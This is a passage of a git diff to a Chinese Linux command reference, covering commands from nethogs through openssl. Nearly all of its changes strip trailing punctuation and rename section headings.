+5,18 @@ nethogs ## 说明 -有很多适用于Linux系统的开源网络监视工具。比如说,你可以用命令iftop来检查带宽使用情况。netstat用来查看接口统计报告,还有top监控系统当前运行进程。但是如果你想要找一个能够按进程实时统计网络带宽利用率的工具,那么NetHogs值得一看。 +有很多适用于Linux系统的开源网络监视工具。比如说,你可以用命令iftop来检查带宽使用情况。netstat用来查看接口统计报告,还有top监控系统当前运行进程。但是如果你想要找一个能够按进程实时统计网络带宽利用率的工具,那么NetHogs值得一看 - **NetHogs** 是一个开源的命令行工具(类似于Linux的top命令),用来按进程或程序实时统计网络带宽使用率。 + **NetHogs** 是一个开源的命令行工具(类似于Linux的top命令),用来按进程或程序实时统计网络带宽使用率 来自NetHogs项目网站: -> NetHogs是一个小型的net top工具,不像大多数工具那样拖慢每个协议或者是每个子网的速度而是按照进程进行带宽分组。NetHogs不需要依赖载入某个特殊的内核模块。如果发生了网络阻塞你可以启动NetHogs立即看到哪个PID造成的这种状况。这样就很容易找出哪个程序跑飞了然后突然占用你的带宽。 +> NetHogs是一个小型的net top工具,不像大多数工具那样拖慢每个协议或者是每个子网的速度而是按照进程进行带宽分组。NetHogs不需要依赖载入某个特殊的内核模块。如果发生了网络阻塞你可以启动NetHogs立即看到哪个PID造成的这种状况。这样就很容易找出哪个程序跑飞了然后突然占用你的带宽 -本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。 +本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率 -### 语法 +## 选项 ``` nethogs(选项)(参数) @@ -25,16 +25,16 @@ nethogs(选项)(参数) ```bash usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]] - -V : 打印版本。 - -h : 打印此帮助。 - -b : bughunt模式 - 暗示tracemode。 - -d : 延迟更新刷新率(以秒为单位)。 默认值为1。 - -v : 视图模式(0 = KB / s,1 =总KB,2 =总B,3 =总MB)。 默认值为0。 - -c : 更新次数。 默认为0(无限制)。 + -V : 打印版本 + -h : 打印此帮助 + -b : bughunt模式 - 暗示tracemode + -d : 延迟更新刷新率(以秒为单位)。 默认值为1 + -v : 视图模式(0 = KB / s,1 =总KB,2 =总B,3 =总MB)。 默认值为0 + -c : 更新次数。 默认为0(无限制) -t : tracemode. - -p : 煽动混乱模式(不推荐)。 - -s : 按发送列排序输出。 - -a : 监控所有设备,甚至环回/停止。 + -p : 煽动混乱模式(不推荐) + -s : 按发送列排序输出 + -a : 监控所有设备,甚至环回/停止 device : 要监控的设备。 默认是所有接口启动和运行,不包括环回 当nethogs运行时,按: @@ -67,7 +67,7 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [ **在RHEL、CentOS和Fedora下安装NetHogs** -要安装NetHogs,你必须要启用你所用Linux下的EPEL源。然后运行下面的yum命令下载安装NetHogs包。 +要安装NetHogs,你必须要启用你所用Linux下的EPEL源。然后运行下面的yum命令下载安装NetHogs包 ``` # yum install nethogs @@ -83,7 +83,7 @@ $ sudo apt-get install nethogs ### NetHogs用法 -在基于RedHat系统下键入如下命令启动NetHogs工具。 +在基于RedHat系统下键入如下命令启动NetHogs工具 ``` # nethogs @@ -101,7 +101,7 @@ $ sudo nethogs Ubuntu 12.10 下的NetHogs预览 -正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。 +正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令 ### NetHogs 命令行参数 @@ -141,7 +141,7 @@ $ sudo nethogs eth0 eth1 ``` -关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入`man nethogs`或者`sudo man nethogs`,更多信息请参考NetHogs项目主页。 +关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入`man nethogs`或者`sudo man nethogs`,更多信息请参考NetHogs项目主页 diff --git a/Linux_man_cn/newusers.md b/Linux_man_cn/newusers.md index 0317585..091c0e2 100644 --- a/Linux_man_cn/newusers.md +++ b/Linux_man_cn/newusers.md @@ -5,9 +5,9 @@ newusers ## 说明 -**newusers命令** 用于批处理的方式一次创建多个命令。 +**newusers命令** 用于批处理的方式一次创建多个命令 -### 语法 +## 选项 ``` newusers(参数) @@ -15,13 +15,13 @@ newusers(参数) ### 参数 -用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。 +用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同 -### 实例 +## 实例 实用newusers命令批量添加用户: -用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。 +用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同 ``` 用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL @@ -48,8 +48,8 @@ jingang1:x:521:521::/home/jingang1:/sbin/nologin /bin/zsh ``` -其中除了`/sbin/nologin`,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成`/sbin/nologin`,比如上面的例子。 +其中除了`/sbin/nologin`,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成`/sbin/nologin`,比如上面的例子 -关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。 +关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档 diff --git a/Linux_man_cn/nfsstat.md b/Linux_man_cn/nfsstat.md index e9f1e0f..e13fee9 100644 --- a/Linux_man_cn/nfsstat.md +++ b/Linux_man_cn/nfsstat.md @@ -5,9 +5,9 @@ nfsstat ## 说明 -**nfsstat命令** 用于列出NFS客户端和服务器的工作状态。 +**nfsstat命令** 用于列出NFS客户端和服务器的工作状态 -### 语法 +## 选项 ``` nfsstat(选项) @@ -16,17 +16,17 @@ nfsstat(选项) ``` --s:仅列出NFS服务器端状态; --c:仅列出NFS客户端状态; --n:仅列出NFS状态,默认显示nfs客户端和服务器的状态; --2:仅列出NFS版本2的状态; --3:仅列出NFS版本3的状态; --4:仅列出NFS版本4的状态; --m:打印以加载的nfs文件系统状态; --r:仅打印rpc状态。 +-s:仅列出NFS服务器端状态 +-c:仅列出NFS客户端状态 +-n:仅列出NFS状态,默认显示nfs客户端和服务器的状态 +-2:仅列出NFS版本2的状态 +-3:仅列出NFS版本3的状态 +-4:仅列出NFS版本4的状态 +-m:打印以加载的nfs文件系统状态 +-r:仅打印rpc状态 ``` -### 实例 +## 实例 要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入: diff --git a/Linux_man_cn/ngrep.md b/Linux_man_cn/ngrep.md index 7337316..baeee8d 100644 --- a/Linux_man_cn/ngrep.md +++ b/Linux_man_cn/ngrep.md @@ -5,11 +5,11 @@ ngrep ## 说明 -**ngrep命令** 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制。 +**ngrep命令** 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制 ### 安装 -ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。 +ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用 如果yum无法安装就用以下步骤安装libpcap: @@ -21,7 +21,7 @@ cd libpcap-1.3.0 make && make install ``` -ngrep的安装就是 configure/make/make install 三部曲。 +ngrep的安装就是 configure/make/make install 三部曲 注:configure时是遇到 please wipe out all unused pcap installations,添加以下选项: @@ -29,9 +29,9 @@ ngrep的安装就是 configure/make/make install 三部曲。 ./configure --with-pcap-includes=/usr/local/include/pcap ``` -在安装后输入ngrep来验证下安装是否成功。 +在安装后输入ngrep来验证下安装是否成功 -### 语法 +## 选项 ``` ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> @@ -70,7 +70,7 @@ ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num> -L :查询网卡接口 ``` -### 实例 +## 实例 捕捉cloudian:18080端口的request和response,`-W byline`用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。`-d lo`是监听本地网卡: diff --git a/Linux_man_cn/nice.md b/Linux_man_cn/nice.md index 9ac1761..bbca2f2 100644 --- a/Linux_man_cn/nice.md +++ b/Linux_man_cn/nice.md @@ -15,7 +15,7 @@ nice/renice 进程执行优先级 最高等级 -20 最低等级 19 -系统管理员有权将进程优先级设置为-1至-20,而普通用户只能设置0至19。进程运行的默认等级为0。 +系统管理员有权将进程优先级设置为-1至-20,而普通用户只能设置0至19。进程运行的默认等级为0 用nice执行的进程其默认等级为10(即nice <程序名>,不指定等级时) ``` @@ -38,7 +38,7 @@ nice --18 vi & 优先等级-18 重新调整正在执行的进程的优先级:调整指定PID进程的等级 renice <等级> -注意:<等级>是参数,不是选项,没有前缀-号。 +注意:<等级>是参数,不是选项,没有前缀-号 renice <等级> <用户名1> <用户名2> # 调整指定用户的所有进程的等级 renice <等级> -g <组名1> # 调整指定组的所有用户的所有进程的等级 diff --git a/Linux_man_cn/nisdomainname.md b/Linux_man_cn/nisdomainname.md index a5ae2ca..a2c7de9 100644 --- a/Linux_man_cn/nisdomainname.md +++ b/Linux_man_cn/nisdomainname.md @@ -5,9 +5,9 @@ nisdomainname ## 说明 -**nisdomainname命令** 用于显示主机NIS的域名。 +**nisdomainname命令** 用于显示主机NIS的域名 -### 语法 +## 选项 ``` nisdomainname(选项) @@ -16,7 +16,7 @@ nisdomainname(选项) ``` --v:详细信息模式。 +-v:详细信息模式 ``` diff --git a/Linux_man_cn/nl.md b/Linux_man_cn/nl.md index 1370ff4..f161de3 100644 --- a/Linux_man_cn/nl.md +++ b/Linux_man_cn/nl.md @@ -5,9 +5,9 @@ nl ## 说明 -**nl命令** 读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用`-p`选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与`cat -n`有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。 +**nl命令** 读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用`-p`选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与`cat -n`有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能 -### 语法 +## 选项 ``` nl (选项) (参数) @@ -17,19 +17,19 @@ nl (选项) (参数) ``` -b :指定行号指定的方式,主要有两种: - -b a :表示不论是否为空行,也同样列出行号(类似 cat -n); - -b t :如果有空行,空的那一行不要列出行号(默认值); + -b a :表示不论是否为空行,也同样列出行号(类似 cat -n) + -b t :如果有空行,空的那一行不要列出行号(默认值) -n :列出行号表示的方法,主要有三种: - -n ln :行号在萤幕的最左方显示; - -n rn :行号在自己栏位的最右方显示,且不加 0 ; - -n rz :行号在自己栏位的最右方显示,且加 0 ; + -n ln :行号在萤幕的最左方显示 + -n rn :行号在自己栏位的最右方显示,且不加 0 + -n rz :行号在自己栏位的最右方显示,且加 0 --w :行号栏位的占用的位数。 --p :在逻辑定界符处不重新开始计算。 +-w :行号栏位的占用的位数 +-p :在逻辑定界符处不重新开始计算 ``` -### 实例 +## 实例 **用 nl 列出 log2015.log 的内容** : @@ -88,6 +88,6 @@ root@localhost [test]# nl log2015.log 013 ======= ``` -说明:`nl -b a -n rz`命令行号默认为六位,要调整位数可以加上参数`-w 3`调整为3位。 +说明:`nl -b a -n rz`命令行号默认为六位,要调整位数可以加上参数`-w 3`调整为3位 diff --git a/Linux_man_cn/nmap.md b/Linux_man_cn/nmap.md index 0351e55..df96433 100644 --- a/Linux_man_cn/nmap.md +++ b/Linux_man_cn/nmap.md @@ -5,9 +5,9 @@ nmap ## 说明 -**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。 +**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络 -### 语法 +## 选项 ``` nmap(选项)(参数) @@ -16,36 +16,36 @@ nmap(选项)(参数) ``` --O:激活操作探测; --P0:值进行扫描,不ping主机; --PT:是同TCP的ping; --sV:探测服务版本信息; --sP:ping扫描,仅发现目标主机是否存活; --ps:发送同步(SYN)报文; --PU:发送udp ping; --PE:强制执行直接的ICMPping; --PB:默认模式,可以使用ICMPping和TCPping; --6:使用IPv6地址; --v:得到更多选项信息; --d:增加调试信息地输出; --oN:以人们可阅读的格式输出; --oX:以xml格式向指定文件输出信息; --oM:以机器可阅读的格式输出; --A:使用所有高级扫描选项; ---resume:继续上次执行完的扫描; --P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围; --e:在多网络接口Linux系统中,指定扫描使用的网络接口; --g:将指定的端口作为源端口进行扫描; ---ttl:指定发送的扫描报文的生存期; ---packet-trace:显示扫描过程中收发报文统计; ---scanflags:设置在扫描报文中的TCP标志。 +-O:激活操作探测 +-P0:值进行扫描,不ping主机 +-PT:是同TCP的ping +-sV:探测服务版本信息 +-sP:ping扫描,仅发现目标主机是否存活 +-ps:发送同步(SYN)报文 +-PU:发送udp ping +-PE:强制执行直接的ICMPping +-PB:默认模式,可以使用ICMPping和TCPping +-6:使用IPv6地址 +-v:得到更多选项信息 +-d:增加调试信息地输出 +-oN:以人们可阅读的格式输出 +-oX:以xml格式向指定文件输出信息 +-oM:以机器可阅读的格式输出 +-A:使用所有高级扫描选项 +--resume:继续上次执行完的扫描 +-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围 +-e:在多网络接口Linux系统中,指定扫描使用的网络接口 +-g:将指定的端口作为源端口进行扫描 +--ttl:指定发送的扫描报文的生存期 +--packet-trace:显示扫描过程中收发报文统计 +--scanflags:设置在扫描报文中的TCP标志 ``` ### 参数 -ip地址:指定待扫描报文中的TCP地址。 +ip地址:指定待扫描报文中的TCP地址 -### 实例 +## 实例 **安装nmap** diff --git a/Linux_man_cn/nmcli.md b/Linux_man_cn/nmcli.md index ebbdcf7..fa2244d 100644 --- a/Linux_man_cn/nmcli.md +++ b/Linux_man_cn/nmcli.md @@ -5,9 +5,9 @@ nmcli ## 说明 -**nmcli命令** 是 NetworkManager client 网络管理客户端。 +**nmcli命令** 是 NetworkManager client 网络管理客户端 -### 语法 +## 选项 ```bash nmcli [OPTIONS] OBJECT { COMMAND | help } @@ -37,7 +37,7 @@ OBJECT a[gent] NetworkManager秘密代理或polkit代理 ``` -### 实例 +## 实例 ```bash nmcli connection show # 查看当前连接状态 diff --git a/Linux_man_cn/nohup.md b/Linux_man_cn/nohup.md index 20e8061..2192d60 100644 --- a/Linux_man_cn/nohup.md +++ b/Linux_man_cn/nohup.md @@ -5,26 +5,26 @@ nohup ## 说明 -**nohup命令** 可以将程序以忽略挂起信号的方式运行起来,被运行的程序的输出信息将不会显示到终端。 +**nohup命令** 可以将程序以忽略挂起信号的方式运行起来,被运行的程序的输出信息将不会显示到终端 -无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。 +无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符 -### 语法 +## 选项 nohup(选项)(参数) ``` ---help:在线帮助; ---version:显示版本信息。 +--help:在线帮助 +--version:显示版本信息 ``` ### 参数 -程序及选项:要运行的程序及选项。 +程序及选项:要运行的程序及选项 -### 实例 +## 实例 使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件: @@ -33,7 +33,7 @@ nohup(选项)(参数) nohup command > myout.file 2>&1 & ``` -在上面的例子中,输出被重定向到myout.file文件中。 +在上面的例子中,输出被重定向到myout.file文件中 该指令表示不做挂断操作,后台下载 diff --git a/Linux_man_cn/nologin.md b/Linux_man_cn/nologin.md index 594741f..c02019d 100644 --- a/Linux_man_cn/nologin.md +++ b/Linux_man_cn/nologin.md @@ -5,21 +5,21 @@ nologin ## 说明 -**nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。 +**nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统 -### 语法 +## 选项 ``` nologin ``` -### 实例 +## 实例 Linux禁止用户登录: 禁止用户登录后,用户不能登录系统,但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候,希望个别用户或者所有用户不能登录系统,保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。   -1、禁止个别用户登录,比如禁止lynn用户登录。 +1、禁止个别用户登录,比如禁止lynn用户登录 ``` passwd -l lynn @@ -47,12 +47,12 @@ lynn:x:500:500::/home/lynn:/sbin/nologin 该用户就无法登录了。   -3、禁止所有用户登录。 +3、禁止所有用户登录 ``` touch /etc/nologin ``` -除root以外的用户不能登录了。 +除root以外的用户不能登录了 diff --git a/Linux_man_cn/nslookup.md b/Linux_man_cn/nslookup.md index ec776c7..49aca1b 100644 --- a/Linux_man_cn/nslookup.md +++ b/Linux_man_cn/nslookup.md @@ -5,13 +5,13 @@ nslookup ## 说明 -**nslookup命令** 是常用域名查询工具,就是查DNS信息用的命令。 +**nslookup命令** 是常用域名查询工具,就是查DNS信息用的命令 -nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。 +nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息 -进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了。 +进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了 -### 语法 +## 选项 ``` nslookup(选项)(参数) @@ -20,14 +20,14 @@ nslookup(选项)(参数) ``` --sil:不显示任何警告信息。 +-sil:不显示任何警告信息 ``` ### 参数 -域名:指定要查询域名。 +域名:指定要查询域名 -### 实例 +## 实例 ``` [root@localhost ~]# nslookup www.jsdig.com diff --git a/Linux_man_cn/ntpdate.md b/Linux_man_cn/ntpdate.md index 5fc82c6..cff07e8 100644 --- a/Linux_man_cn/ntpdate.md +++ b/Linux_man_cn/ntpdate.md @@ -2,12 +2,12 @@ ## 说明 -**ntpdate命令** 是用来设置本地日期和时间。它从指定的每个服务器获得了一些样本,并应用标准 NTP 时钟过滤器和选择算法来选择最好的样本。 +**ntpdate命令** 是用来设置本地日期和时间。它从指定的每个服务器获得了一些样本,并应用标准 NTP 时钟过滤器和选择算法来选择最好的样本 此 ntpdate 命令使用以下方法进行时间调整: -* 如果它确定时钟偏差超过 0.5 秒,它通过调用 settimeofday 子例程设置时钟时间。在引导时间,这是一个首选的方法。 -* 如 果它确定时钟偏差小于 0.5 秒,它通过调用 adjtime 子例程和偏移量来调整时钟时间。此方法倾向于用牺牲一些稳定性来保持漂移时钟更加准确。 当不是通过运行一个守护程序而是从 cron 命令有规则的运行ntpdate 命令时,每一小时或两小时执行一次可以保证足够的走时精度,从而避免调整时钟。 +* 如果它确定时钟偏差超过 0.5 秒,它通过调用 settimeofday 子例程设置时钟时间。在引导时间,这是一个首选的方法 +* 如 果它确定时钟偏差小于 0.5 秒,它通过调用 adjtime 子例程和偏移量来调整时钟时间。此方法倾向于用牺牲一些稳定性来保持漂移时钟更加准确。 当不是通过运行一个守护程序而是从 cron 命令有规则的运行ntpdate 命令时,每一小时或两小时执行一次可以保证足够的走时精度,从而避免调整时钟 使用很多服务器可以大幅度改善 ntpdate 命令的可靠性与精度。尽管能使用单一服务器,但您能通过提供至少三个或四个服务器以获得更好的性能 diff --git a/Linux_man_cn/ntsysv.md b/Linux_man_cn/ntsysv.md index bfb4de9..c90c4dd 100644 --- a/Linux_man_cn/ntsysv.md +++ b/Linux_man_cn/ntsysv.md @@ -5,9 +5,9 @@ ntsysv ## 说明 -**ntsysv命令** 提供了一个基于文本界面的菜单操作方式,集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版,CentOS各个版本,都自带这个工具。它具有互动式操作界面,您可以轻易地利用方向键和空格键等,开启,关闭操作系统在每个执行等级中,所要执行的系统服务。 +**ntsysv命令** 提供了一个基于文本界面的菜单操作方式,集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版,CentOS各个版本,都自带这个工具。它具有互动式操作界面,您可以轻易地利用方向键和空格键等,开启,关闭操作系统在每个执行等级中,所要执行的系统服务 -### 语法 +## 选项 ``` ntsysv(选项) @@ -16,11 +16,11 @@ ntsysv(选项) ``` ---leve:指定运行等级; ---back:在互动式界面里,显示Back钮,而非cancel钮。 +--leve:指定运行等级 +--back:在互动式界面里,显示Back钮,而非cancel钮 ``` -### 实例 +## 实例 输入ntsysv命令后,出现一个交互式的管理菜单,如下: diff --git a/Linux_man_cn/od.md b/Linux_man_cn/od.md index 166c21b..2449e2b 100644 --- a/Linux_man_cn/od.md +++ b/Linux_man_cn/od.md @@ -70,7 +70,7 @@ and so on for G, T, P, E, Z, Y. od -b file # 说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节 od -c file # 说明:使用ASCII码进行输出,注意其中包括转义字符 od -t d1 file # 说明:使用单字节十进制进行解释 -od -A d -c file # 说明:设置地址格式为十进制。 +od -A d -c file # 说明:设置地址格式为十进制 od -A x -c file # 说明:设置地址格式为十六进制 od -j 2 -c file # 说明:跳过开始的两个字节 od -N 2 -j 2 -c file # 说明:跳过开始的两个字节,并且仅输出两个字节 diff --git a/Linux_man_cn/openssl.md b/Linux_man_cn/openssl.md index 48af11f..276ed70 100644 --- a/Linux_man_cn/openssl.md +++ b/Linux_man_cn/openssl.md @@ -32,11 +32,11 @@ OpenSSL实现了5种信息摘要算法,分别是MD2、MD5、MDC2、SHA(SHA1 密钥和证书管理是PKI的一个重要组成部分,OpenSSL为之提供了丰富的功能,支持多种标准 -首先,OpenSSL实现了ASN.1的证书和密钥相关标准,提供了对证书、公钥、私钥、证书请求以及CRL等数据对象的DER、PEM和BASE64的编解码功能。 +首先,OpenSSL实现了ASN.1的证书和密钥相关标准,提供了对证书、公钥、私钥、证书请求以及CRL等数据对象的DER、PEM和BASE64的编解码功能 OpenSSL提供了产生各种公开密钥对和对称密钥的方法、函数和应用程序,同时提供了对公钥和私钥的DER编解码功能。并实现了私钥的PKCS#12和PKCS#8的 编解码功能。OpenSSL在标准中提供了对私钥的加密保护功能,使得密钥可以安全地进行存储和分发 -在此基础上,OpenSSL实现了对证书的X.509标准编解码、PKCS#12格式的编解码以及PKCS#7的编解码功能。并提供了一种文本数据库,支持证书的管理功能, +在此基础上,OpenSSL实现了对证书的X.509标准编解码、PKCS#12格式的编解码以及PKCS#7的编解码功能。并提供了一种文本数据库,支持证书的管理功能 包括证书密钥产生、请求产生、证书签发、吊销和验证等功能 事实上,OpenSSL提供的CA应用程序就是一个小型的证书管理中心(CA),实现了证书签发的整个流程和证书管理的大部分机制 @@ -73,7 +73,7 @@ cat client.crt client.key > client.pem cat server.crt server.key > server.pem : << comment -SSL证书的公共名称 (CN)。 该公共名称 (CN) 是使用该证书的系统的标准名称。 如果您使用的是动态 DNS,那么 CN 应该具有通配符, +SSL证书的公共名称 (CN)。 该公共名称 (CN) 是使用该证书的系统的标准名称。 如果您使用的是动态 DNS,那么 CN 应该具有通配符 例如: *.api.com. 否则,使用网关集群中设置的主机名或 IP 地址 生成自己专用密钥和公用证书。回答问题并在出现提示时输入公共名称 comment @@ -104,25 +104,25 @@ openssl dgst -sha1 file.txt # 用SHA1算法计算文件file.txt的哈西值, # openssl sha1 -out digest.txt file.txt ``` -用DSS1(SHA1)算法为文件file.txt签名,输出到文件dsasign.bin。签名的private key必须为DSA算法产生的,保存在文件dsakey.pem中。 +用DSS1(SHA1)算法为文件file.txt签名,输出到文件dsasign.bin。签名的private key必须为DSA算法产生的,保存在文件dsakey.pem中 ``` # openssl dgst -dss1 -sign dsakey.pem -out dsasign.bin file.txt ``` -用dss1算法验证file.txt的数字签名dsasign.bin,验证的private key为DSA算法产生的文件dsakey.pem。 +用dss1算法验证file.txt的数字签名dsasign.bin,验证的private key为DSA算法产生的文件dsakey.pem ``` # openssl dgst -dss1 -prverify dsakey.pem -signature dsasign.bin file.txt ``` -用sha1算法为文件file.txt签名,输出到文件rsasign.bin,签名的private key为RSA算法产生的文件rsaprivate.pem。 +用sha1算法为文件file.txt签名,输出到文件rsasign.bin,签名的private key为RSA算法产生的文件rsaprivate.pem ``` # openssl sha1 -sign rsaprivate.pem -out rsasign.bin file.txt ``` -# 用sha1算法验证file.txt的数字签名rsasign.bin,验证的public key为RSA算法生成的rsapublic.pem。 +# 用sha1算法验证file.txt的数字签名rsasign.bin,验证的public key为RSA算法生成的rsapublic.pem ``` # openssl sha1 -verify rsapublic.pem -signature rsasign.bin file.txt @@ -130,31 +130,31 @@ openssl dgst -sha1 file.txt # 用SHA1算法计算文件file.txt的哈西值, **2、对称加密应用例子** -对称加密应用例子,用DES3算法的CBC模式加密文件plaintext.doc,加密结果输出到文件ciphertext.bin。 +对称加密应用例子,用DES3算法的CBC模式加密文件plaintext.doc,加密结果输出到文件ciphertext.bin ``` # openssl enc -des3 -salt -in plaintext.doc -out ciphertext.bin ``` -用DES3算法的OFB模式解密文件ciphertext.bin,提供的口令为trousers,输出到文件plaintext.doc。注意:因为模式不同,该命令不能对以上的文件进行解密。 +用DES3算法的OFB模式解密文件ciphertext.bin,提供的口令为trousers,输出到文件plaintext.doc。注意:因为模式不同,该命令不能对以上的文件进行解密 ``` # openssl enc -des-ede3-ofb -d -in ciphertext.bin -out plaintext.doc -pass pass:trousers ``` -用Blowfish的CFB模式加密plaintext.doc,口令从环境变量PASSWORD中取,输出到文件ciphertext.bin。 +用Blowfish的CFB模式加密plaintext.doc,口令从环境变量PASSWORD中取,输出到文件ciphertext.bin ``` # openssl bf-cfb -salt -in plaintext.doc -out ciphertext.bin -pass env:PASSWORD ``` -给文件ciphertext.bin用base64编码,输出到文件base64.txt。 +给文件ciphertext.bin用base64编码,输出到文件base64.txt ``` # openssl base64 -in ciphertext.bin -out base64.txt ``` -用RC5算法的CBC模式加密文件plaintext.doc,输出到文件ciphertext.bin,salt、key和初始化向量(iv)在命令行指定。 +用RC5算法的CBC模式加密文件plaintext.doc,输出到文件ciphertext.bin,salt、key和初始化向量(iv)在命令行指定 ``` # openssl rc5 -in plaintext.doc -out ciphertext.bin -S C62CB1D49F158ADC -iv E9EDACA1BD7090C6 -K 89D4B1678D604FAA3DBFFD030A314B29 @@ -168,7 +168,7 @@ openssl dgst -sha1 file.txt # 用SHA1算法计算文件file.txt的哈西值, # openssl dhparam -out dhparam.pem -2 1024 ``` -从dhparam.pem中读取Diffie-Hell参数,以C代码的形式,输出到stdout。 +从dhparam.pem中读取Diffie-Hell参数,以C代码的形式,输出到stdout ``` # openssl dhparam -in dhparam.pem -noout -C @@ -176,7 +176,7 @@ openssl dgst -sha1 file.txt # 用SHA1算法计算文件file.txt的哈西值, **4、DSA应用例子应用例子** -生成1024位DSA参数集,并输出到文件dsaparam.pem。 +生成1024位DSA参数集,并输出到文件dsaparam.pem ``` # openssl dsaparam -out dsaparam.pem 1024 diff --git a/Linux_man_cn/parted.md b/Linux_man_cn/parted.md index 6846c29..e3e5c2f 100644 --- 